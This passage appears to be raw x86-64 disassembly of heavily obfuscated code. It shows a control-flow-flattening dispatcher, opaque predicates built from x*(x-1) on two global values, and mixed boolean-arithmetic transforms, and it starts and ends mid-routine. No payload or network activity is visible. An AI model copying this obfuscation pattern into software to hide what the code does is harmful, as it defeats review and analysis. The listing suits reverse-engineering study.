and ecx, 0xfc0ab8b7
or ecx, ebp
mov ebp, ecx
xor ebp, 0xd0083813
xor ecx, 0x3f54748
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x2ff785a4
and ebp, 0xd0087a5b
or ebp, edi
or ecx, ebx
and ebx, 0x2ff785a4
and edx, 0xd0087a5b
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf13543e3
and ecx, 0xecabc1c
or ecx, edx
mov edx, ecx
xor edx, 0x2020000
xor ecx, 0x70240323
and ecx, 0x7cecbf3f
and edx, 0x831340c0
or edx, ecx
xor edx, 0x831340c0
sete dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg r8b
mov eax, edx
mov r9d, ecx
or r9b, dl
xor cl, dl
or dl, r8b
xor al, r8b
not al
and al, r8b
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
mov edx, r9d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and al, dl
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x10fa7dd
mov edx, 0x7e85c1e3
cmovne eax, edx
test cl, 1
mov ecx, eax
cmovne ecx, edx
jmp 0x14015bb94
cmp ecx, 0xd193e823
jg 0x140153ca8
cmp ecx, 0xceeb2a77
je 0x140157e59
cmp ecx, 0xd0c46327
jne 0x14014d700
mov ecx, 0x77407b09
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xfbe4ee5b
jg 0x140153df5
cmp ecx, 0xfa2411ff
je 0x140157fe5
cmp ecx, 0xfa277035
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov esi, ebp
not esi
mov ebx, esi
and ebx, 0x20008848
mov ecx, ebp
and ecx, 0x3a20604
or ecx, ebx
mov ebx, ecx
xor ebx, 0x3200000
xor ecx, 0xfc5df9fb
mov edx, ebp
xor edx, 0x23a28e4c
and edx, ebp
mov edi, edx
not edi
mov eax, ecx
and eax, 0x5c96a78e
and ebx, 0x23200840
or ebx, eax
or ecx, edi
and edi, 0x5c96a78e
and edx, 0xa3695871
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xc5d6cb92
and ecx, 0x3a29346d
or ecx, eax
mov edi, ecx
xor edi, 0x11002220
xor ecx, 0x263405c9
and ecx, 0x2ebf9dc9
and edi, 0xd1406236
or edi, ecx
mov eax, edi
xor eax, 0x1406012
and esi, 0x127a42db
and ebp, 0xed85bd24
or ebp, esi
mov ecx, ebp
xor ecx, 0xd80b100
xor edi, 0x2ebf9dc9
xor ebp, 0x127a42db
mov edx, edi
and edx, 0xf2050e2c
and eax, 0xdfaf1d3
or eax, edx
or edi, ebp
and ebp, 0xf2050e2c
and ecx, 0xdfaf1d3
or ecx, ebp
xor ecx, eax
not edi
or edi, ecx
cmp edi, 0xffffffff
sete al
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
and dl, al
or cl, al
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, ebx
xor al, dl
xor dl, 1
or dl, bl
xor al, 1
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x3ed4cbf5
mov ecx, 0x2858e38b
cmovne ebp, ecx
test al, 1
mov ecx, ebp
mov eax, 0x3ed4cbf5
cmovne ecx, eax
jmp 0x14015ba5e
cmp ecx, 0x44e3ac05
jg 0x140153e23
cmp ecx, 0x43b7af37
je 0x1401580e8
cmp ecx, 0x4448ff01
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0xedf6850
mov ecx, edx
and ecx, 0xf12097af
or ecx, ebp
mov ebx, ecx
xor ebx, 0xf12097af
xor ecx, 0x4186040
mov ebp, ebx
and ebp, 0x2c9afdb
and edx, 0xfd365024
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xfd365025
and edx, 0x2c9afda
or edx, ebp
and ecx, 0x7418e7cf
mov ebp, ebx
and ebp, 0x8be71830
or ebp, ecx
xor ebp, 0x7418e7ce
and ebx, 1
or ebx, ebp
not ebx
mov ebp, edx
and ebp, ebx
xor ebx, edx
or ebx, ebp
mov edx, ebx
mov ecx, ebx
xor ecx, 0x8d5866f9
and ecx, ebx
not ebx
and ebx, 0x8d400460
and edx, 0x186299
or edx, ebx
mov ebp, edx
xor ebp, 0x84299
xor edx, 0xffe79d66
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xd514a026
and ebp, 0x84846d9
or ebp, edi
or edx, ebx
and ebx, 0xd514a026
and ecx, 0x2aeb5fd9
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x72a79906
and edx, 0x8d5866f9
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xa92abc60
and ecx, 0x56d5439f
or ecx, edx
xor ecx, 0x56d5439f
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg dl
mov eax, edx
xor al, r10b
and al, dl
mov ecx, eax
xor cl, 1
or al, cl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
xor al, r9b
mov r11d, eax
xor r11b, 1
mov ebx, r10d
xor r10b, r9b
and r9b, dl
and bl, r8b
or bl, r9b
or dl, r8b
xor dl, 1
or dl, r10b
mov ecx, edx
xor cl, bl
xor bl, 1
xor cl, 1
or bl, dl
xor bl, 1
or bl, cl
mov edx, ebx
xor dl, 1
and dl, bl
xor dl, 1
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, r11d
and bl, al
and dl, cl
mov r8d, ebx
and r8b, r11b
xor bl, r11b
or bl, r8b
xor dl, 1
mov r8d, edx
xor r8b, cl
or dl, cl
xor dl, 1
or dl, r8b
xor dl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x545deeff
mov ebp, 0xe7824ce6
cmovne eax, ebp
test cl, 1
mov ecx, 0x545deeff
jmp 0x14015529f
cmp ecx, 0x1bcdb416
jg 0x140153f5b
cmp ecx, 0x1a469aac
je 0x1401580fe
cmp ecx, 0x1b3249c3
jne 0x14014d700
mov ecx, 0x8bfe5253
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x6b8eeaf4
jg 0x140154057
cmp ecx, 0x6a6a83a0
je 0x140158114
cmp ecx, 0x6ad3e6b3
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xf594ef0b
and ebp, 0xa6b10f4
or ebp, edi
or ecx, ebx
and ebx, 0xf594ef0b
and edx, 0xa6b10f4
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0x3afb7ae3
and ecx, 0xc504851c
or ecx, edx
mov ebx, ecx
xor ebx, 0x48418
mov edx, ebp
not edx
xor ecx, 0x3afb7ae2
mov edi, edx
and edi, 0xf7114ba7
and ebp, 0x8eeb458
or ebp, edi
or edx, ecx
and ecx, 0xf7114ba7
and ebx, 0x8eeb458
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0x51c4de2c
mov ecx, ebx
not ecx
or edx, 0x332000
and edx, 0x1f3ee04
and ebp, 0x50041028
or ebp, edx
and ebx, 0x1f3ee04
and ecx, 0xae0801d3
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0xae3b21d3
and ecx, 0x51c4de2c
or ecx, edx
mov edx, ecx
not edx
and edx, 0x6fe1cefe
and ecx, 0x901e3101
or ecx, edx
xor ecx, 0x901e3101
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
xor al, bl
and al, bl
xor cl, r8b
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor cl, 1
and cl, al
xor al, 1
and bl, al
or cl, bl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xfa2411ff
mov ebp, 0x21925c3b
cmovne eax, ebp
test cl, 1
cmove eax, ebp
test dl, 1
mov ecx, 0xfa2411ff
jmp 0x14014d6f9
cmp ecx, 0xad4bbbd9
jg 0x140154085
cmp ecx, 0xaa9239a8
je 0x14015812a
cmp ecx, 0xad46eaf1
jne 0x14014d700
mov bl, byte [rsp + 0x2e]
mov r8b, byte [rsp + 0x2f]
mov edx, r8d
xor dl, 1
mov eax, ebx
xor al, 1
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
mov ecx, ebx
xor cl, al
and cl, bl
or al, r8b
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x99f4e35c
mov ebp, 0xa527a94
jmp 0x14015a970
cmp ecx, 0xeef653e2
jg 0x1401541db
cmp ecx, 0xebb9061b
je 0x140158295
cmp ecx, 0xee45b538
jne 0x14014d700
mov ecx, 0x4d99ba67
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x9daa8006
jg 0x14015434c
cmp ecx, 0x9c0a9e34
je 0x140158435
cmp ecx, 0x9d8d6291
jne 0x14014d700
mov ecx, 0xf77a1869
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xc9da8f03
jg 0x1401544ca
cmp ecx, 0xc6dce33f
je 0x1401585ac
cmp ecx, 0xc9677e57
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0x79abded
xor ecx, 0x3642b816
and ecx, edx
mov ebx, edx
and ebx, 0xf8654212
or ebx, ebp
mov edx, ebx
xor edx, 0xf8654212
xor ebx, 0x408b965
mov ebp, edx
and ebp, 0xc9bd47e9
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0xd5a94c7f
and ecx, 0x2a56b380
or ecx, ebp
xor ecx, 0xe3ebf468
and ebx, 0x9449fb77
mov ebp, edx
and ebp, 0x6bb60488
or ebp, ebx
xor ebp, 0x9449fb76
and edx, 1
or edx, ebp
not edx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebp, edx
mov ecx, edx
xor ecx, 0x1fd274cf
and ecx, edx
not edx
and edx, 0x6027048
and ebp, 0x19d00487
or ebp, edx
xor ebp, 0x19d00487
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xe02d8b30
and ecx, 0x1fd274cf
or ecx, edx
mov edx, ecx
not edx
and edx, 0xad75bdf2
and ecx, 0x528a420d
or ecx, edx
mov edx, ecx
xor edx, 0x28a0001
xor ecx, 0x121a902
and ecx, 0x5121eb0e
and edx, 0xaede14f1
or edx, ecx
mov ecx, edx
xor ecx, 0x1121690c
xor edx, 0xaec614d0
and edx, 0xeec696d2
and ecx, 0x1139692d
or ecx, edx
xor ecx, 0x1139692d
setne dl
sete r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor al, r8b
mov r9d, eax
xor r9b, 1
xor dl, bl
xor dl, 1
mov ecx, ebx
and cl, r8b
xor bl, r8b
or bl, cl
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
and al, r9b
mov ecx, eax
and cl, r9b
xor al, r9b
or al, cl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
and cl, bl
or al, cl
mov ecx, r9d
xor cl, bl
or bl, r9b
xor bl, 1
or bl, cl
mov edx, ebx
xor dl, al
test bl, 1
mov ecx, 0x4229f3f3
mov ebp, 0xbbe5f55b
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0x4229f3f3
jmp 0x14015c0d8
cmp ecx, 0xe2ecdad
jg 0x1401544f8
cmp ecx, 0xd7cc274
je 0x1401586ae
cmp ecx, 0xdb5fefb
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0x888297
mov ebp, ebx
and ebp, 0x506c20
or ebp, ecx
xor ebp, 0x506c20
mov ecx, ebx
and ecx, 0xff271148
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0xff271149
and ecx, 0xd8eeb6
or ecx, ebp
mov ebp, ecx
not ebp
and edx, ebp
and ecx, ebx
or ecx, edx
xor ebp, ecx
test ebp, ecx
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
xor cl, al
mov eax, edx
and al, cl
xor cl, 1
mov ebx, edx
xor bl, 1
and bl, cl
or bl, al
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xf53d33a1
mov edx, 0x6a6a83a0
cmovne eax, edx
test cl, 1
mov ecx, 0xf53d33a1
cmovne ecx, eax
jmp 0x14015c0d6
cmp ecx, 0x522f9087
jg 0x140154653
cmp ecx, 0x506411bd
je 0x1401587f5
cmp ecx, 0x5205eba8
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x6b1f5a83
and edx, ebp
not ebp
and ebp, 0xefc5609b
and ecx, 0x103a9f64
or ecx, ebp
mov ebp, ecx
xor ebp, 0x81200
xor ecx, 0x6b054083
or ecx, 0x94e0a57c
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xd177adf3
and ebp, 0x2a085200
or ebp, edi
or ecx, ebx
and ebx, 0xd177adf3
and edx, 0x2e88520c
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x94e0a57c
and ecx, 0x6b1f5a83
or ecx, edx
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
not edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xabdd1095
and ebp, 0x5422ef6a
or ebp, edi
or edx, ebx
and ebx, 0xabdd1095
and ecx, 0x5422ef6a
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x82d01042
mov ebp, edx
and ebp, 0x4402ea11
or ebp, ecx
xor ebp, 0x4402ea11
and edx, 0x392d05ac
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x1eb76aa5
and edx, 0xe148955a
or edx, ecx
xor edx, 0x279a6f09
sete r9b
setne r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r8b
mov ebx, r10d
xor bl, r9b
and bl, r10b
mov eax, ebx
not al
and al, bl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, r8b
mov edx, ecx
xor dl, r9b
and dl, cl
and r10b, r8b
and cl, r9b
or cl, r10b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
xor cl, al
test cl, 1
mov ecx, 0xeef653e3
mov ebp, 0x6c862382
cmovne ecx, ebp
test dl, 1
mov edx, ecx
mov ebp, 0xeef653e3
cmovne edx, ebp
jmp 0x140155ec8
cmp ecx, 0x35f29d96
jg 0x140154789
cmp ecx, 0x2b5519b4
je 0x140158933
cmp ecx, 0x341df963
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edx, ebx
not edx
mov ecx, ebx
xor ecx, 0x5d471951
and ecx, ebx
or ebx, 0xa2b8e6ae
mov ebp, ecx
not ebp
mov edi, ebx
and edi, 0xd2c25d50
and edx, 0xd050001
or edx, edi
or ebx, ebp
and ebp, 0xd2c25d50
and ecx, 0x2d3da2af
or ecx, ebp
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xa2b8e6ae
and ebx, 0x5d471951
or ebx, ecx
mov esi, ebx
not esi
mov ebp, ebx
or ebp, 0xd012064
mov edi, ebp
not edi
mov ecx, esi
or ecx, 0xf2fedf9b
mov edx, ecx
not edx
and ebp, 0xcf4cf0ea
and edi, 0x30b20f11
or edi, ebp
and ecx, 0xcf4cf0ea
and edx, 0x10004
or edx, ecx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x94664c5c
and edx, 0x6b99b3a3
or edx, ecx
mov ebp, edx
xor ebp, 0x11674c00
and ebx, 0x4d80484a
mov ecx, esi
and ecx, 0xb27fb7b5
or ecx, ebx
xor ecx, 0x4d80484b
and esi, 1
or esi, ecx
mov ecx, esi
not ecx
xor edx, 0x669893c6
mov ebx, edx
and ebx, 0xae80307b
and ebp, 0x517fcf84
or ebp, ebx
or edx, esi
and esi, 0xae80307b
and ecx, 0x517fcf84
or ecx, esi
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
xor ecx, 0x6d870895
and ecx, edx
or edx, 0x9278f76a
mov ebp, edx
not ebp
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xc2979f74
and ebp, 0x2d000081
or ebp, edi
or edx, ebx
and ebx, 0xc2979f74
and ecx, 0x3d68608b
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xde8a8d14
and edx, 0x217572eb
or edx, ecx
mov ecx, edx
xor ecx, 0x8a0124a
xor edx, 0x90050181
and edx, 0xd45769b5
and ecx, 0x2ba8964a
or ecx, edx
mov edx, ecx
xor edx, 0x8009208
xor ecx, 0x84100131
and ecx, 0xa7b80573
and edx, 0x5847fa8c
or edx, ecx
mov ecx, edx
xor ecx, 0x4b00521
xor edx, 0x807f88c
and edx, 0xab0ff8de
and ecx, 0x54f00721
or ecx, edx
xor ecx, 0x54f00721
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor bl, al
and bl, al
not al
and al, cl
xor cl, dl
and cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ebx
xor al, 1
and al, cl
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0x5838cc3e
mov ebp, 0x3996409e
cmovne ecx, ebp
test dl, dl
mov edx, 0x5838cc3e
jmp 0x1401592df
cmp ecx, 0x78c2f5de
jg 0x1401548e5
cmp ecx, 0x77407b09
je 0x140158a40
cmp ecx, 0x7810cd60
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x9a95d6aa
and edx, ecx
and ecx, 0x656a2955
or ecx, ebp
mov ebp, ecx
xor ebp, 0x21080951
xor ecx, 0x9a95d6aa
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x4c63348c
and ebp, 0xb39ccb73
or ebp, edi
or ecx, ebx
and ebx, 0x4c63348c
and edx, 0xb39ccb73
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov esi, ecx
not esi
mov edx, esi
and edx, 0x89eaebd2
and ecx, 0x7615142d
or ecx, edx
mov ebx, ecx
xor ebx, 0x7615142d
mov edx, ecx
xor edx, 0x8df3f0c3
and edx, ebx
or esi, 0x4191b11
mov ebp, esi
not ebp
mov edi, edx
not edi
mov eax, edi
and eax, 0xc6efdc42
and edx, 0x391023bd
or edx, eax
or edi, esi
and esi, 0xc6efdc42
and ebp, 0x390020ac
or ebp, esi
xor ebp, edx
not edi
or edi, ebp
mov eax, edi
not eax
and eax, 0xfbe6e4ef
and edi, 0x4191b10
or edi, eax
and ebx, 1
xor ecx, 0x7615142c
or ecx, ebx
mov eax, ecx
not eax
mov edx, edi
not edx
mov ebp, edx
and ebp, 0xebab0b45
and edi, 0x1454f4ba
or edi, ebp
or edx, ecx
and ecx, 0xebab0b45
and eax, 0x1454f4ba
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov eax, edx
not eax
and edx, eax
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
setne cl
sete dl
cmp r8d, 9
setg bl
cmp r8d, 0xa
setl al
and cl, al
or al, dl
and bl, dl
or bl, cl
xor bl, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, ebx
xor cl, al
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0xbb1aefda
mov ebp, 0xd8f4cca4
cmovne eax, ebp
test cl, 1
mov r12d, 0xd8f4cca4
cmovne eax, ebp
not dl
test dl, 1
mov ecx, 0xbb1aefda
jmp 0x14014d6f9
cmp ecx, 0xb69f466a
je 0x1401554b3
cmp ecx, 0xb7732933
je 0x1401554db
cmp ecx, 0xb799da62
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov r9d, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x10d90c01
mov ebp, edx
and ebp, 0xc8001020
or ebp, ecx
xor ebp, 0xc8001020
and edx, 0x2726e3de
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x777424c0
and edx, 0x888bdb3f
or edx, ecx
mov edi, edx
xor edi, 0x5052c71e
mov ecx, edx
xor ecx, 0x25242840
and ecx, 0x25662b46
xor edx, 0x9a0eae4e
and edx, edi
and edi, 0xda99d4b9
or edi, ecx
mov ecx, edi
xor ecx, 0xda99d4b9
mov ebx, edi
xor ebx, 0xef3a4216
and ebx, ecx
mov ebp, ebx
not ebp
mov esi, edx
not esi
mov eax, ebp
and eax, 0xa6fa8f3c
and ebx, 0x590570c3
or ebx, eax
or ebp, esi
and esi, 0xa6fa8f3c
and edx, 0x590570c3
or edx, esi
xor edx, ebx
not ebp
or ebp, edx
mov eax, ebp
not eax
and eax, 0x534e7bd1
and ebp, 0xacb1842e
or ebp, eax
xor ebp, 0x66eded7f
xor edi, 0x21460042
and edi, 0xf9ce14f2
mov eax, ecx
and eax, 0x631eb0d
or eax, edi
xor eax, 0xf9ce14f3
and ecx, 1
or ecx, eax
not ecx
mov eax, ebp
and eax, ecx
xor ecx, ebp
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0x7bb6d9f3
and edx, ecx
or ecx, 0x8449260c
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x44e06f60
and eax, 0x3b169093
or eax, ebx
or ecx, ebp
and ebp, 0x44e06f60
and edx, 0xbb1f909f
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x8449260c
and ecx, 0x7bb6d9f3
or ecx, eax
setne r8b
sete r10b
cmp r9d, 0xa
setl r11b
cmp r9d, 9
setg al
mov ebx, eax
xor bl, r11b
and bl, al
mov edx, ebx
xor dl, 1
or dl, bl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, dl
xor cl, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, cl
xor bl, r10b
and r8b, r11b
or r11b, r10b
and al, r10b
or al, r8b
xor al, 1
mov ecx, r11d
xor cl, al
or al, r11b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, bl
mov edx, eax
xor dl, 1
and dl, bl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x8ad5d11d
mov ebp, 0x280019bc
cmovne ecx, ebp
test dl, 1
mov eax, 0x8ad5d11d
jmp 0x140159525
cmp ecx, 0xe8ddbb40
jg 0x1401549ea
cmp ecx, 0xe6b03ac9
je 0x140158b64
cmp ecx, 0xe7824ce6
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, edx
xor ecx, 0x1ebaf832
and ecx, edx
or edx, 0xe14507cd
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x936b9bd9
and ebp, 0xc906022
or ebp, edi
or edx, ebx
and ebx, 0x936b9bd9
and ecx, 0x6c946426
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe14507cd
and edx, 0x1ebaf832
or edx, ecx
mov esi, edx
not esi
mov ecx, edx
xor ecx, 0xc128cb8f
and ecx, esi
mov edi, esi
or edi, 0xc128cb8f
mov ebp, edi
not ebp
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0x52c464a6
and ecx, 0xad3b9b59
or ecx, eax
or ebx, edi
and edi, 0x52c464a6
and ebp, 0x2c131050
or ebp, edi
xor ebp, ecx
not ebx
or ebx, ebp
mov eax, ebx
not eax
and eax, 0x3ed73471
and ebx, 0xc128cb8e
or ebx, eax
and edx, 0x5351fbfe
mov eax, esi
and eax, 0xacae0401
or eax, edx
xor eax, 0x5351fbff
and esi, 1
or esi, eax
mov eax, esi
not eax
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x1e4979dc
and ebx, 0xe1b68623
or ebx, edx
or ecx, esi
and esi, 0x1e4979dc
and eax, 0xe1b68623
or eax, esi
xor eax, ebx
not ecx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0xda3f4b40
and edx, ecx
and ecx, 0x25c0b4bf
or ecx, eax
mov eax, ecx
xor eax, 0x10080a0
xor ecx, 0xda3f4b40
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x2ed1765f
and eax, 0xd12e89a0
or eax, ebx
or ecx, ebp
and ebp, 0x2ed1765f
and edx, 0xd12e89a0
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x97758ac7
and eax, 0x688a7538
or eax, ecx
mov ecx, eax
xor ecx, 0x5188c5
xor eax, 0x280a4138
and eax, 0xbf2e433a
and ecx, 0x40d1bcc5
or ecx, eax
xor ecx, 0x40d1bcc5
sete al
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg dl
xor r9b, al
xor al, dl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov ecx, edx
and cl, bl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, 1
and cl, r9b
xor r9b, 1
and dl, r9b
or dl, cl
mov ecx, eax
and cl, r9b
xor r9b, al
or r9b, cl
mov eax, r9d
xor al, dl
test r9b, r9b
mov ecx, 0xdeec1771
mov ebp, 0xf41cb00b
cmovne ecx, ebp
test dl, dl
mov r15d, 0xf41cb00b
cmove ecx, ebp
not al
test al, 1
mov eax, 0xdeec1771
jmp 0x140159a39
cmp ecx, 0x93bea58a
jg 0x140154b5a
cmp ecx, 0x9283f73d
je 0x140158c04
cmp ecx, 0x92cb5a17
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x24240c8
mov ebp, ecx
and ebp, 0x55908115
or ebp, edx
xor ebp, 0x55908115
and ecx, 0xa82d3e22
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xa82d3e22
and ecx, 0x57d2c1dd
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x4ce2e2a1
and ecx, 0xb31d1d5e
or ecx, ebp
mov esi, ecx
xor esi, 0xb31d1d5e
mov edi, ecx
xor edi, 0x35b9534
and edi, esi
or edx, 0x4fb97795
mov ebp, edx
not ebp
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0xb036f9b3
and edi, 0x4fc9064c
or edi, eax
or ebx, edx
and edx, 0xb036f9b3
and ebp, 0x400048
or ebp, edx
xor ebp, edi
not ebx
or ebx, ebp
mov eax, ebx
not eax
and eax, 0xb10d4369
and ebx, 0x4ef2bc96
or ebx, eax
xor ebx, 0x14bcb02
and esi, 1
xor ecx, 0xb31d1d5f
or ecx, esi
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov edx, ecx
